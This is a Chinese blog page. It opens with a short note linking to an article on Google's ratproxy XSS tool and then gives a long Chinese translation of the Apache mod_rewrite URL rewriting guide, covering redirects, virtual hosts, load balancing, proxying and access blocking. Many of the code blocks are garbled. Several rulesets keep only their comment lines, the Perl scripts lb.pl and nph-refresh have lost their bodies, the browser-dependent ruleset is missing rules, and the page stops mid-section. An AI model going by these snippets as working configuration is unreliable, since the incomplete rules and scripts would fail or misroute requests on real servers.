Jul
21今天听到 2 个新名词，看看都挺感兴趣的，不过工作太忙，没时间仔细看，记下来，回家看~~
一句话概括：
http://www.dbanotes.net/security/ratproxy_google_xss.html
上个图图吧，挺 PP 的：
Jul
16Apache的mod_rewrite是提供了强大URL操作的杀手级的模块，可以实现几乎所有你 梦想的URL操作类型，其代价是你必须接受其复杂性，因为mod_rewrite的主要障碍就是初学者不容易理解和运用，即使是Apache专家有时也会 发掘出mod_rewrite的新用途。
换句话说：对mod_rewrite，或者是打退堂鼓永不再用，或者是喜欢它并一生受用。
ReWrite可以应用在以下方面或者解决以下问题：
URL的规划
规范的URL
说明:
在有些网站服务器上，一个资源会拥有多个URL，在实际应用和发布中应该被使用的是规范的URL，其他的则是简写或者是内部使用的。无论用户在请求中使用什么形式的URL，他最终看见的都应该是规范的URL。
方案:
对所有的不规范的URL执行一个外部的HTTP重定向，以改变它在浏览器地址栏中的显示及其后继的请求。下例中的规则集用规范的/u/user替换/~user，并修正了/u/user所遗漏的后缀的斜杠。
| 代码: |
| RewriteRule ^/~([^/]+)/?(.*) /u/$1/$2 [R] RewriteRule ^/([uge])/([^/]+)$ /$1/$2/ [R] |
规范的主机名
说明:
…
方案:
| 代码: |
| RewriteCond %{HTTP_HOST} !^fully\.qualified\.domain\.name [NC] RewriteCond %{HTTP_HOST} !^$ RewriteCond %{SERVER_PORT} !^80$ RewriteRule ^/(.*) http://fully.qualified.domain.name:%{SERVER_PORT}/$1 [L,R] RewriteCond %{HTTP_HOST} !^fully\.qualified\.domain\.name [NC] RewriteCond %{HTTP_HOST} !^$ RewriteRule ^/(.*) http://fully.qualified.domain.name/$1 [L,R] |
被移动过的DocumentRoot
说明:
通 常，网站服务器的DocumentRoot直接对应于URL”/”，但是，它常常不是处于最高一级，而可能只是众多数据池中的一个实体。比如，在 Intranet站点中，有/e/www/(WWW的主页)、/e/sww/ (Intranet的主页)等等，而DocumentRoot指向了/e/www/，则必须保证此数据池中的所有内嵌的图片和其他元素对后继请求有效。
方案:
只须重定向URL /到/e/www/即可。这个方案看起来很简单，但只是有了mod_rewrite模块的支持，它才简单，因为传统的URL Aliases机制(由mod_alias及其相关模块提供)只是作了一个前缀匹配，DocumentRoot是一个对所有URL的前缀，因而无法实现这 样的重定向。而用mod_rewrite的确很简单:
| 代码: |
| RewriteEngine on RewriteRule ^/$ /e/www/ [R] |
后缀斜杠的问题
说明:
每 个网管对引用目录后缀斜杠的问题都有一本苦经，如果遗漏了，服务器会产生一个错误，因为如果请求是/~quux/foo而不是/~quux/foo/，服 务器会去找一个叫foo的文件，而它是一个目录，所以就报错了。事实上，大多数情况下，它自己会试图修正这个错误，但是有时候需要你手工纠正，比如，在重 写了许多CGI脚本中的复杂的URL以后。
方案:
解决这个微妙问题的方案是让服务器自动添加后缀的斜杠。对此，必须使用一 个外部的重定向，使浏览器正确地处理后继的对诸如图片的请求。如果仅仅作一个内部的重写，可能只对目录页面有效，而对内嵌有使用相对URL的图片的页面则 无效，因为浏览器有请求内嵌目标的可能。比如，如果不用外部重定向，/~quux/foo/index.html页面中对image.gif的请求，其结 果将是/~quux/image.gif！。
所以，应该这样写：
| 代码: |
| RewriteEngine on RewriteBase /~quux/ RewriteRule ^foo$ foo/ [R] |
又懒又疯狂的做法是把这些写入其宿主目录中的顶级.htaccess中，但是须注意，如此会带来一些处理上的开销。
| 代码: |
| RewriteEngine on RewriteBase /~quux/ RewriteCond %{REQUEST_FILENAME} -d RewriteRule ^(.+[^/])$ $1/ [R] |
集群网站的同类URL规划
说明:
我 们希望在一个Intranet集群网站中，对所有WWW服务器建立一个同类的一致性的URL规划，也就是，所有的URL(对单个服务器来说，是本地的依赖 于此服务器的！)是独立于服务器的！我们需要的是一个具有独立于服务器的一致性规划的WWW名称空间，即，URL不需要包含正确的物理的目标服务器，而由 集群本身来自动定位物理的目标主机。
方案:
首先，目标服务器的信息来自(产生)于包含有用户、组以及实体的外部地图，其格式形如：
| 代码: |
| user1 server_of_user1 user2 server_of_user2 : : |
这些信息被存入map.xxx-to-host文件。其次，如果URL在一个服务器上无效，需要引导所有的服务器重定向URL
| 代码: |
| /u/user/anypath /g/group/anypath /e/entity/anypath |
到
| 代码: |
| http://physical-host/u/user/anypath http://physical-host/g/group/anypath http://physical-host/e/entity/anypath |
以下规则集依靠地图文件来完成这个操作(假定，如果一个用户在地图中没有对应的项，则使用server0为默认服务器)：
| 代码: |
| RewriteEngine on
RewriteMap user-to-host txt:/path/to/map.user-to-host RewriteRule ^/u/([^/]+)/?(.*) http://${user-to-host:$1|server0}/u/$1/$2 RewriteRule ^/([uge])/([^/]+)/?$ /$1/$2/.www/ |
移动宿主目录到不同的网站服务器
说明:
通常，许多网管在建立一个新的网站服务器时，都会有这样的要求：重定向一个网站服务器上的所有宿主目录到另一个网站服务器。
方案:
很简单，用mod_rewrite。在老的网站服务器上重定向所有的URL /~user/anypath到http://newserver/~user/anypath。
| 代码: |
| RewriteEngine on RewriteRule ^/~(.+) http://newserver/~$1 [R,L] |
结构化的宿主目录
说明:
一 些拥有几千个用户的网站通常都使用结构化的宿主目录规划，即，每个宿主目录位于一个带有特定前缀比如其用户名的第一个字符的子目录下。那么， /~foo/anypath代表/home/f/foo/.www/anypath，而/~bar/anypath代表 /home/b/bar/.www/anypath。
方案:
可以使用下列规则集来扩展~以达到上述目的。
| 代码: |
| RewriteEngine on RewriteRule ^/~(([a-z])[a-z0-9]+)(.*) /home/$2/$1/.www$3 |
文件系统的重组
说明:
这 是一个不加雕琢的例子：一个大量使用针对目录的规则集以实现平滑观感，而从来不用调整数据结构的杀手级的应用。背景：net.sw从1992年开始，存放 了我收集的免费的有效的Unix软件包。它是我的爱好也是我的工作，因为在学习计算机科学的同时，业余时间还做了多年的系统和网络的管理员。每周我都需要 整理软件，因而建立了一个层次很深的目录结构来存放各种软件包：
| 代码: |
| drwxrwxr-x 2 netsw users 512 Aug 3 18:39 Audio/ drwxrwxr-x 2 netsw users 512 Jul 9 14:37 Benchmark/ drwxrwxr-x 12 netsw users 512 Jul 9 00:34 Crypto/ drwxrwxr-x 5 netsw users 512 Jul 9 00:41 Database/ drwxrwxr-x 4 netsw users 512 Jul 30 19:25 Dicts/ drwxrwxr-x 10 netsw users 512 Jul 9 01:54 Graphic/ drwxrwxr-x 5 netsw users 512 Jul 9 01:58 Hackers/ drwxrwxr-x 8 netsw users 512 Jul 9 03:19 InfoSys/ drwxrwxr-x 3 netsw users 512 Jul 9 03:21 Math/ drwxrwxr-x 3 netsw users 512 Jul 9 03:24 Misc/ drwxrwxr-x 9 netsw users 512 Aug 1 16:33 Network/ drwxrwxr-x 2 netsw users 512 Jul 9 05:53 Office/ drwxrwxr-x 7 netsw users 512 Jul 9 09:24 SoftEng/ drwxrwxr-x 7 netsw users 512 Jul 9 12:17 System/ drwxrwxr-x 12 netsw users 512 Aug 3 20:15 Typesetting/ drwxrwxr-x 10 netsw users 512 Jul 9 14:08 X11/ |
1996 年7月，我决定通过一个漂亮的Web接口公开我的收藏。“漂亮”是指提供一个接口以直接浏览整个目录结构，同时不对这个结构做任何改变 - 甚至也不在结构顶部放置CGI脚本。为什么呢？因为这个结构还要能够被FTP访问，而且我不希望其中有任何Web或者CGI的成分。
方案:
这个方案分为两个部分：第一个部分，是用于在空闲时间建立所有目录页面的CGI脚本集。我把它们放在/e/netsw/.www/，如下：
| 代码: |
| -rw-r–r– 1 netsw users 1318 Aug 1 18:10 .wwwacl drwxr-xr-x 18 netsw users 512 Aug 5 15:51 DATA/ -rw-rw-rw- 1 netsw users 372982 Aug 5 16:35 LOGFILE -rw-r–r– 1 netsw users 659 Aug 4 09:27 TODO -rw-r–r– 1 netsw users 5697 Aug 1 18:01 netsw-about.html -rwxr-xr-x 1 netsw users 579 Aug 2 10:33 netsw-access.pl -rwxr-xr-x 1 netsw users 1532 Aug 1 17:35 netsw-changes.cgi -rwxr-xr-x 1 netsw users 2866 Aug 5 14:49 netsw-home.cgi drwxr-xr-x 2 netsw users 512 Jul 8 23:47 netsw-img/ -rwxr-xr-x 1 netsw users 24050 Aug 5 15:49 netsw-lsdir.cgi -rwxr-xr-x 1 netsw users 1589 Aug 3 18:43 netsw-search.cgi -rwxr-xr-x 1 netsw users 1885 Aug 1 17:41 netsw-tree.cgi -rw-r–r– 1 netsw users 234 Jul 30 16:35 netsw-unlimit.lst |
其 中的DATA/子目录包含了上述目录结构，即实在的net.sw，由rdist在需要的时候自动更新。第二个部分的遗留问题是：如何连接这两个结构为一个 平滑观感的URL树？我希望在运行适当的CGI脚本而使用各种URL的时候，使用户感觉不到DATA/目录的存在。方案如下：首先，我把下列配置放在服务 器上DocumentRoot中的针对目录的配置文件里，以重写公布的URL /net.sw/ 为内部路径 /e/netsw：
| 代码: |
| RewriteRule ^net.sw$ net.sw/ [R] RewriteRule ^net.sw/(.*)$ e/netsw/$1 |
第一条规则是针对遗漏后缀斜杠的请求的！第二条规则才是真正实现功能的。接着，就是放在针对目录的配置文件/e/netsw/.www/.wwwacl中的杀手级的配置了：
| 代码: |
| Options ExecCGI FollowSymLinks Includes MultiViews
RewriteEngine on # we are reached via /net.sw/ prefix # first we rewrite the root dir to # strip out the subdirs when # and now break the rewriting for local files # anything else is a subdir which gets handled |
阅读提示:
注意前半部分中的标志L(最后)，和无对应项(’-')
注意后半部分中的符号!(非)，和标志C (链)
注意最后一条规则的全匹配模式
| 代码: |
| NCSA imagemap和Apache mod_imap |
说明:
许 多人都希望在从NCSA网站服务器向较现代的Apache网站服务器转移中实现平滑过渡，即希望老的NCSA imagemap程序能在Apache的较现代的mod_imap支持下正常运作。但问题在于，到处都是通过/cgi- bin/imagemap/path/to/page.map引用imagemap程序的连接，而在Apache下，应该写成 /path/to/page.map。
方案:
使用全局规则在空闲时间去除所有这些请求的前缀：
| 代码: |
| RewriteEngine on RewriteRule ^/cgi-bin/imagemap(.*) $1 [PT] |
在多个目录中搜索页面
说明:
有时会有必要使网站服务器在多个目录中搜索页面，对此，MultiViews或者其他技术无能为力。
方案:
编制一个明确的规则集以搜索目录中的文件。
| 代码: |
| RewriteEngine on
# first try to find it in custom/… # second try to find it in pub/… # else go on for other Alias or ScriptAlias directives, |
按照URL的片段设置环境变量
说明:
如果希望保持请求之间的状态信息，但又不希望使用CGI来包装所有页面，而只通过分离URL中的有用信息来编码。
方案:
可以用一个规则集来分离出状态信息，并设置环境变量以备此后用于XSSI或CGI。如此，一个/foo/S=java/bar/的URL会被解析为/foo/bar/，而环境变量STATUS则被设置为”java”。
| 代码: |
| RewriteEngine on RewriteRule ^(.*)/S=([^/]+)/(.*) $1/$3 [E=STATUS:$2] |
虚拟用户主机
说明:
如果需要为用户username支持一个www.username.host.domain.com的主页，但不是用在此机器上建虚拟主机的方法，而是用仅在此机器上增加一个DNS记录的方法实现。
方案:
对HTTP/1.0的请求，这是无法实现的；但是对HTTP/1.1的在HTTP头中包含有主机名的请求，可以用以下规则集来内部地重写http://www.username.host.com/anypath为/home/username/anypath：
| 代码: |
| RewriteEngine on RewriteCond %{HTTP_HOST} ^www\.[^.]+\.host\.com$ RewriteRule ^(.+) %{HTTP_HOST}$1 [C] RewriteRule ^www\.([^.]+)\.host\.com(.*) /home/$1$2 |
为外来访问者重定向宿主目录
说明:
对不是来自本地域ourdomain.com的外来访问者的请求，重定向其宿主目录URL到另一个网站服务器www.somewhere.com，有时这种做法也会用在虚拟主机的上下文中。
方案:
只须一个重写条件:
| 代码: |
| RewriteEngine on RewriteCond %{REMOTE_HOST} !^.+\.ourdomain\.com$ RewriteRule ^(/~.+) http://www.somewhere.com/$1 [R,L] |
重定向失败的URL到其他网站服务器
说明:
如 何重写URL以重定向对网站服务器A的失败请求到服务器B，是一个常见的问题。一般，可以用Perl写的CGI脚本通过ErrorDocument来解 决，此外，还有mod_rewrite方案。但是须注意，这种方法的执行效率不如用ErrorDocument的CGI脚本!
方案:
第一种方案，有最好的性能而灵活性欠佳，出错概率小所以安全:
| 代码: |
| RewriteEngine on RewriteCond /your/docroot/%{REQUEST_FILENAME} !-f RewriteRule ^(.+) http://webserverB.dom/$1 |
但是其问题在于，它只对位于DocumentRoot中的页面有效。虽然可以增加更多的条件(比如同时还处理宿主目录，等等)，但是还有一个更好的方法：
| 代码: |
| RewriteEngine on RewriteCond %{REQUEST_URI} !-U RewriteRule ^(.+) http://webserverB.dom/$1 |
这 种方法使用了mod_rewrite提供的“向前参照(look-ahead)”的功能，是一种对所有URL类型都有效而且安全的方法。但是，对网站服务 器的性能会有影响，所以如果网站服务器有一个强大的CPU，那就用这个方法。而在慢速机器上，可以用第一种方法，或者用性能更好的 ErrorDocument CGI脚本。
扩展的重定向
说明:
有时候，我们会需要更多的对重定向URL的(有关 字符转义机制方面的)控制。通常，Apache内核中的URL转义函数uri_escape()同时还会对anchor转义，即，类似 “url#anchor”的URL，因此，你不能用mod_rewrite对此类URL直接重定向。那么如何实现呢?
方案:
必须用NPH-CGI脚本使它自己重定向，因为对NPH(non-parseable headers [无须解析的HTTP头])不会发生转义操作。首先，在针对服务器的配置中(应该位于所有重写规则的最后)，引入一种新的URL类型xredirect:：
| 代码: |
| RewriteRule ^xredirect:(.+) /path/to/nph-xredirect.cgi/$1 \ [T=application/x-httpd-cgi,L] |
以强制所有带xredirect:前缀的URL被传送到如下的nph-xredirect.cgi程序：
| 代码: |
| #!/path/to/perl ## ## nph-xredirect.cgi — NPH/CGI script for extended redirects ## Copyright (c) 1997 Ralf S. Engelschall, All Rights Reserved. ## $| = 1; print “HTTP/1.0 302 Moved Temporarily\n”; ##EOF## |
这是一种可以重定向所有URL类型的方法，包括不被mod_rewrite直接支持的类型。所以，还可以这样重定向news:newsgroup：
| 代码: |
| RewriteRule ^anyurl xredirect:news:newsgroup |
注意：无须对上述规则加[R]或[R,L]，因为xredirect:会在稍后被其特殊的传送规则扩展。
文档访问的多路复用
说明:
你 知道http://www.perl.com/CPAN的CPAN(Comprehensive Perl Archive Network)吗？它实现了一个重定向以提供，全世界的CPAN镜像中离访问者最近的一个FTP站点，也可以称之为FTP访问多路复用服务。CPAN是 通过CGI脚本实现的，那么用mod_rewrite如何实现呢？
方案:
首先，我们注意到mod_rewrite从3.0.0版本开始，还可以重写”ftp:”类型。其次，对客户端顶级域名的路径最近的求取可以用RewriteMap实现。利用链式规则集，并用顶级域名作为查找多路复用地图的键，可以这样做：
| 代码: |
| RewriteEngine on RewriteMap multiplex txt:/path/to/map.cxan RewriteRule ^/CxAN/(.*) %{REMOTE_HOST}::$1 [C] RewriteRule ^.+\.([a-zA-Z]+)::(.*)$ ${multiplex:$1|ftp.default.dom}$2 [R,L] ## de ftp://ftp.cxan.de/CxAN/ |
依赖于时间的重写
说明:
在页面内容依时间不同而变化的场合，比如重定向特定页面，许多网管仍然采用CGI脚本的方法，如何用mod_rewrite来实现呢？
方案:
有许多类似TIME_xxx的变量可以用在重写条件中，利用<STRING,>STRING和=STRING的类型比较，并加以连接，就可以实现依赖于时间的重写：
| 代码: |
| RewriteEngine on RewriteCond %{TIME_HOUR}%{TIME_MIN} >0700 RewriteCond %{TIME_HOUR}%{TIME_MIN} <1900 RewriteRule ^foo\.html$ foo.day.html RewriteRule ^foo\.html$ foo.night.html |
此例使URL foo.html在07:00-19:00时指向foo.day.html，而在其余时间，则指向foo.night.html，对主页是一个不错的功能…
对YYYY过渡为XXXX的向前兼容
说明:
在转变了大批.html文件为.phtml，使文档.YYYY过渡成为文档.XXXX后，如何保持URL的向前兼容(仍然虚拟地存在)？
方案:
只须按基准文件名重写，并测试带有新的扩展名的文件是否存在，如果存在，则用新的，否则，仍然用原来的。
| 代码: |
| # backward compatibility ruleset for # rewriting document.html to document.phtml # when and only when document.phtml exists # but no longer document.html RewriteEngine on RewriteBase /~quux/ # parse out basename, but remember the fact RewriteRule ^(.*)\.html$ $1 [C,E=WasHTML:yes] # rewrite to document.phtml if exists RewriteCond %{REQUEST_FILENAME}.phtml -f RewriteRule ^(.*)$ $1.phtml [S=1] # else reverse the previous basename cutout RewriteCond %{ENV:WasHTML} ^yes$ RewriteRule ^(.*)$ $1.html |
内容的处理
新旧URL(内部的)
说明:
假定已经把文件bar.html改名为foo.html，需要对老的URL向前兼容，即让用户仍然可以使用老的URL，而感觉不到文件被改名了。
方案:
通过以下规则内部地重写老的URL为新的：
| 代码: |
| RewriteEngine on RewriteBase /~quux/ RewriteRule ^foo\.html$ bar.html |
新旧URL(外部的)
说明:
仍然假定已经把文件bar.html改名为foo.html，需要对老的URL向前兼容，但是要让用户得到文件被改名的暗示，即，其浏览器的地址栏中显示的是新的URL。
方案:
作一个HTTP的强制重定向以改变浏览器和用户界面上的显示：
| 代码: |
| RewriteEngine on RewriteBase /~quux/ RewriteRule ^foo\.html$ bar.html [R] |
依赖于浏览器的内容
说明:
至少对重要的顶级页面，有时候有必要提供依赖于浏览器的最佳的内容，即对最新的Netscape提供最大化的版本，对Lynx提供最小化的版本，而对其他的浏览器则提供一个功能一般的版本。
方案:
对 此，内容协商无能为力，因为浏览器不提供其那种形式的类型，所以只能在HTTP头”User-Agent”上想办法。以下规则集可以完成这个操作：如果 HTTP头”User-Agent”以”Mozilla/3″开头，则页面foo.html被重写为foo.NS.html，而后重写操作终止；如果是 “Lynx”或者版本号为1和2的”Mozilla”，则重写为foo.20.html；而其他所有的浏览器收到的页面则是foo.32.html：
| 代码: |
| RewriteCond %{HTTP_USER_AGENT} ^Mozilla/3.* RewriteRule ^foo\.html$ foo.NS.html [L] RewriteCond %{HTTP_USER_AGENT} ^Lynx/.* [OR] RewriteRule ^foo\.html$ foo.32.html [L] |
动态镜像
说明:
假 定，需要在我们的名称空间里加入其他远程主机的页面。对FTP服务器，可以用mirror程序以在本地机器上维持一个对远程数据的最新的拷贝；对网站服务 器，可以用类似的用于HTTP的webcopy程序。但这两种技术都有一个主要的缺点：此本地拷贝必须通过这个程序的执行来更新。所以，比较好的方法是， 不采用静态镜像，而采用动态镜像，即，在有数据请求时自动更新(远程主机上更新的数据)。
方案:
为此，使用Proxy Throughput功能(flag [P])，以映射远程页面甚至整个远程网络区域到我们的名称空间：
| 代码: |
| RewriteEngine on RewriteBase /~quux/ RewriteRule ^hotsheet/(.*)$ http://www.tstimpreso.com/hotsheet/$1 [P] RewriteEngine on |
反向动态镜像
说明:
…
方案:
| 代码: |
| RewriteEngine on RewriteCond /mirror/of/remotesite/$1 -U RewriteRule ^http://www\.remotesite\.com/(.*)$ /mirror/of/remotesite/$1 |
通过Intranet取得丢失的数据
说明:
这 是一种在受防火墙保护的(内部的)Intranet(www2.quux-corp.dom)上保存和维护实际数据，而虚拟地运行企业级(外部的) Internet网站服务器(www.quux-corp.dom)的巧妙的方法。这种方法是外部服务器在空闲时间从内部服务器取得被请求的数据。
方案:
首先，必须确保防火墙对内部服务器的保护，并只允许此外部服务器取得数据。对包过滤(packet-filtering)防火墙，可以如下制定防火墙规则：
| 代码: |
| ALLOW Host www.quux-corp.dom Port >1024 –> Host www2.quux-corp.dom Port 80 DENY Host * Port * –> Host www2.quux-corp.dom Port 80 |
按你的实际配置，只要对上例稍作调整即可。接着，建立通过代理后台获取丢失数据的mod_rewrite规则：
| 代码: |
| RewriteRule ^/~([^/]+)/?(.*) /home/$1/.www/$2 RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule ^/home/([^/]+)/.www/?(.*) http://www2.quux-corp.dom/~$1/pub/$2 [P] |
负载的均衡
说明:
如何均衡www.foo.com的负载到www[0-5].foo.com(一共是6个服务器)?
方案:
这个问题有许多可能的解决方案，在此，我们讨论通称为“基于DNS(DNS-based)的”方案，和特殊的使用mod_rewrite的方案:
DNS循环(DNS Round-Robin)
最简单的方法是用BIND的DNS循环特性，只要按惯例设置www[0-9].foo.com的DNS的A(地址)记录，如：
| 代码: |
| www0 IN A 1.2.3.1 www1 IN A 1.2.3.2 www2 IN A 1.2.3.3 www3 IN A 1.2.3.4 www4 IN A 1.2.3.5 www5 IN A 1.2.3.6 |
然后，增加以下各项:
| 代码: |
| www IN CNAME www0.foo.com. IN CNAME www1.foo.com. IN CNAME www2.foo.com. IN CNAME www3.foo.com. IN CNAME www4.foo.com. IN CNAME www5.foo.com. IN CNAME www6.foo.com. |
注 意，上述看起来似乎是错误的，但事实上，它的确是BIND中的一个预期的特性，而且也可以这样用。无论如何，现在www.foo.com已经被解析， BIND可以给出www0-www6 - 虽然每次在次序上会有轻微的置换/循环，客户端的请求可以被分散到各个服务器。可是，这并不是一个优秀的负载均衡方案，因为，DNS解析信息可以被网络中 其他名称服务器缓冲，而一旦www.foo.com被解析为wwwN.foo.com，则其后继请求都将被送往www.foo.com。但是最终结果是正 确的，因为请求的总量的确被分散到各个服务器了
DNS 负载均衡
一种成熟的基于DNS的负载均衡方法是使用http: //www.stanford.edu/~schemers/docs/lbnamed/lbnamed.html的lbnamed程序，它是一个 Perl 5程序，带有若干辅助工具，实现了真正的基于DNS的负载均衡。
代理吞吐循环(Proxy Throughput Round-Robin)
这是一个使用mod_rewrite及其代理吞吐特性的方法。首先，在DNS记录中，将www0.foo.com固定为www.foo.com，如下：
| 代码: |
| www IN CNAME www0.foo.com. |
其次，将www0.foo.com转换为一个专职代理服务器，即，由这个机器把所有到来的URL通过内部代理分散到另外5个服务器(www1-www5)。为此，必须建立一个规则集，对所有URL调用一个负载均衡脚本lb.pl。
| 代码: |
| RewriteEngine on RewriteMap lb prg:/path/to/lb.pl RewriteRule ^/(.+)$ ${lb:$1} [P,L] |
以下是lb.pl:
| 代码: |
| #!/path/to/perl ## ## lb.pl — load balancing script ## $| = 1; $name = “www”; # the hostname base $cnt = 0; ##EOF## |
最后的说明：这样有用吗？www0.foo.com似乎也会超载呀？答案是：没错，它的确会超载，但是它超载的仅仅是简单的代理吞吐请求！所有诸如SSI、CGI、ePerl等等的处理完全是由其他机器完成的，这个才是要点。
硬件/TCP循环
还有一个硬件解决方案。Cisco有一个叫LocalDirector的东西，实现了TCP/IP层的负载均衡，事实上，它是一个位于网站集群前端的电路级网关。如果你有足够资金而且的确需要高性能的解决方案，那么可以用这个。
反向代理
说明:
…
方案:
| 代码: |
| ## ## apache-rproxy.conf — Apache configuration for Reverse Proxy Usage ## # server type # server operation parameters # paths to runtime files # unused paths # speed up and secure processing # the status page for monitoring the reverse proxy # enable the URL rewriting engine # define a rewriting map with value-lists where # make sure the status page is handled locally # now choose the possible servers for particular URL types # and delegate the generated URL by passing it # and make really sure all other stuff is forbidden # enable the Proxy module without caching # setup URL reverse mapping for redirect reponses ## # list of backend servers which serve static # list of backend servers which serve dynamically |
新的MIME类型，新的服务
说明:
网 上有许多很技巧的CGI程序，但是用法晦涩，许多网管弃之不用。即使是Apache的MEME类型的动作处理器，也仅仅在CGI程序不需要在其输入中包含 特殊URL(PATH_INFO和QUERY_STRINGS)时才很好用。首先，配置一种新的后缀为.scgi(for secure CGI)文件类型，其处理器是很常见的cgiwrap程序。问题是：如果使用同类URL规划(见上述)，而用户宿主目录中的一个文件的URL是 /u/user/foo/bar.scgi，可是cgiwrap要求的URL的格式是/~user/foo/bar.scgi/，以下规则解决了这个问 题：
| 代码: |
| RewriteRule ^/[uge]/([^/]+)/\.www/(.+)\.scgi(.*) … … /internal/cgi/user/cgiwrap/~$1/$2.scgi$3 [NS,T=application/x-http-cgi] |
另外，假设需要使用其他程序：wwwlog(显示access.log中的一个URL子树)和wwwidx(对一个URL子树运行Glimpse)，则必须对这些程序提供URL区域作为其操作对象。比如，对/u/user/foo/执行swwidx程序的超链是这样的：
| 代码: |
| /internal/cgi/user/swwidx?i=/u/user/foo/ |
其缺点是，必须同时硬编码超链中的区域和CGI的路径，如果重组了这个区域，就需要花费大量时间来修改各个超链。
方案:
方案是用一个特殊的新的URL格式，自动拼装CGI参数：
| 代码: |
| RewriteRule ^/([uge])/([^/]+)(/?.*)/\* /internal/cgi/user/wwwidx?i=/$1/$2$3/ RewriteRule ^/([uge])/([^/]+)(/?.*):log /internal/cgi/user/wwwlog?f=/$1/$2$3 |
现在，这个搜索到/u/user/foo/的超链简化成了：
| 代码: |
| HREF=”*” |
它会被内部地自动转换为
| 代码: |
| /internal/cgi/user/wwwidx?i=/u/user/foo/ |
如此，可以为使用:log的超链，拼装出调用CGI程序的参数。
从静态到动态
说明:
如何无缝转换静态页面foo.html为动态的foo.cgi，而不为浏览器/用户所察觉。
方案:
只须重写此URL为CGI-script，以强制为可以作为CGI-script运行的正确的MIME类型。如此，对/~quux/foo.html的请求其实会执行/~quux/foo.cgi。
| 代码: |
| RewriteEngine on RewriteBase /~quux/ RewriteRule ^foo\.html$ foo.cgi [T=application/x-httpd-cgi] |
空闲时间内的内容协商
说明:
这 是一个很难解的功能：动态生成的静态页面，即，它应该作为静态页面发送(从文件系统中读出，然后直接发出去)，但是如果它丢失了，则由服务器动态生成。如 此，可以静态地提供CGI生成的页面，除非有人(或者是一个cronjob)删除了这些静态页面，而且其内容可以得到更新。
方案:
以下规则集实现这个功能：
| 代码: |
| RewriteCond %{REQUEST_FILENAME} !-s RewriteRule ^page\.html$ page.cgi [T=application/x-httpd-cgi,L] |
这 样，如果page.html不存在或者文件大小为null，则对page.html的请求会导致page.cgi的运行。其中奥妙在于，page.cgi 是一个将输出写入page.html的(同时也写入STDOUT)的常规的CGI脚本，执行完毕，服务器则将page.html的内容发出。如果网管需要 强制更新其内容，只须删除page.html即可(通常由一个cronjob完成)。
自动更新的文档
说明:
建立一个复杂的页面，能够在用编辑器写了一个更新的版本时自动在浏览器上得到刷新，这不是很好吗？这可能吗？
方案:
这是可行的! 这需要综合利用MIME多成分、网站服务器的NPH和mod_rewrite的URL操控特性。首先，建立一个新的URL特性：对在文件系统中更新时需要刷新的所有URL加上:refresh。
| 代码: |
| RewriteRule ^(/[uge]/[^/]+/?.*):refresh /internal/cgi/apache/nph-refresh?f=$1 |
然后，修改URL
| 代码: |
| /u/foo/bar/page.html:refresh |
以内部地操控此URL
| 代码: |
| /internal/cgi/apache/nph-refresh?f=/u/foo/bar/page.html |
接着就是NPH-CGI脚本部分了。虽然，人们常说”left as an exercise to the reader”
，我还是给出答案了。
| 代码: |
| #!/sw/bin/perl ## ## nph-refresh — NPH/CGI script for auto refreshing pages ## Copyright (c) 1997 Ralf S. Engelschall, All Rights Reserved. ## $| = 1; # split the QUERY_STRING variable sub print_http_headers_multipart_begin { sub print_http_headers_multipart_next { sub print_http_headers_multipart_end { sub displayhtml { sub readfile { $buffer = &readfile($QS_f); sub mystat { ($x, $x, $x, $x, $x, $x, $x, $x, $x, $mtime) = stat($file); $mtimeL = &mystat($QS_f); &print_http_headers_multipart_end; exit(0); ##EOF## |
大型虚拟主机
说明:
Apache的<VirtualHost>功能很强，在有几十个虚拟主机的情况下运行得很好，但是如果你是ISP，需要提供几百个虚拟主机，那么这就不是一个最佳的选择了。
方案:
为此，需要用代理吞吐(Proxy Throughput)功能(flag [P])映射远程页面甚至整个远程网络区域到自己的名称空间：
| 代码: |
| ## ## vhost.map ## www.vhost1.dom:80 /path/to/docroot/vhost1 www.vhost2.dom:80 /path/to/docroot/vhost2 : www.vhostN.dom:80 /path/to/docroot/vhostN |
| 代码: |
| ## ## httpd.conf ## : # use the canonical hostname on redirects, etc. UseCanonicalName on : # enable the rewriting engine in the main server # define two maps: one for fixing the URL and one which defines # Now do the actual virtual host mapping |
对访问的限制
阻止Robots
说明:
如何阻止一个完全匿名的robot取得特定网络区域的页面？一个/robots.txt文件可以包含若干”Robot Exclusion Protocol(robot排除协议)”的行，但不足以阻止此类robot。
方案:
可 以用一个规则集以拒绝对网络区域/~quux/foo/arc/(对一个很深的目录区域进行列表可能会使服务器产生很大的负载)的访问。还必须确保仅阻止 特定的robot，就是说，仅仅阻止robot访问主机是不够的，这样会同时也阻止了用户访问该主机。为此，就需要对HTTP头的User-Agent信 息作匹配。
| 代码: |
| RewriteCond %{HTTP_USER_AGENT} ^NameOfBadRobot.* RewriteCond %{REMOTE_ADDR} ^123\.45\.67\.[8-9]$ RewriteRule ^/~quux/foo/arc/.+ - [F] |
阻止内嵌的图片
说明:
假设，http://www.quux-corp.de/~quux/有一些内嵌图片的页面，这些图片很好，所以就有人用超链连到他们自己的页面中了。由于这样徒然增加了我们的服务器的流量，因此，我们不愿意这种事情发生。
方案:
虽然，我们不能100%地保护这些图片不被写入别人的页面，但至少可以对发出HTTP Referer头的浏览器加以限制。
| 代码: |
| RewriteCond %{HTTP_REFERER} !^$ RewriteCond %{HTTP_REFERER} !^http://www.quux-corp.de/~quux/.*$ [NC] RewriteRule .*\.gif$ - [F] RewriteCond %{HTTP_REFERER} !^$ |
对主机的拒绝
说明:
如何拒绝一批外部列表中的主机对我们服务器的使用？
方案:
| 代码: |
| For Apache >= 1.3b6:
RewriteEngine on For Apache <= 1.3b6: RewriteEngine on |
| 代码: |
| ## ## hosts.deny ## ## ATTENTION! This is a map, not a list, even when we treat it as such. ## mod_rewrite parses it for key/value pairs, so at least a ## dummy value “-” must be present for each entry. ## 193.102.180.41 - |
对代理的拒绝
说明:
如何拒绝某个主机或者来自特定主机的用户使用Apache代理？
方案:
首先，要确保Apache网站服务器在编译时配置文件中mod_rewrite在mod_proxy的下面(!)，使它在mod_proxy之前被调用。然后，如下拒绝某个主机…
| 代码: |
| RewriteCond %{REMOTE_HOST} ^badhost\.mydomain\.com$ RewriteRule !^http://[^/.]\.mydomain.com.* - [F] |
…如下拒绝user@host-dependent:
| 代码: |
| RewriteCond %{REMOTE_IDENT}@%{REMOTE_HOST} ^badguy@badhost\.mydomain\.com$ RewriteRule !^http://[^/.]\.mydomain.com.* - [F] |
特殊的认证
说明:
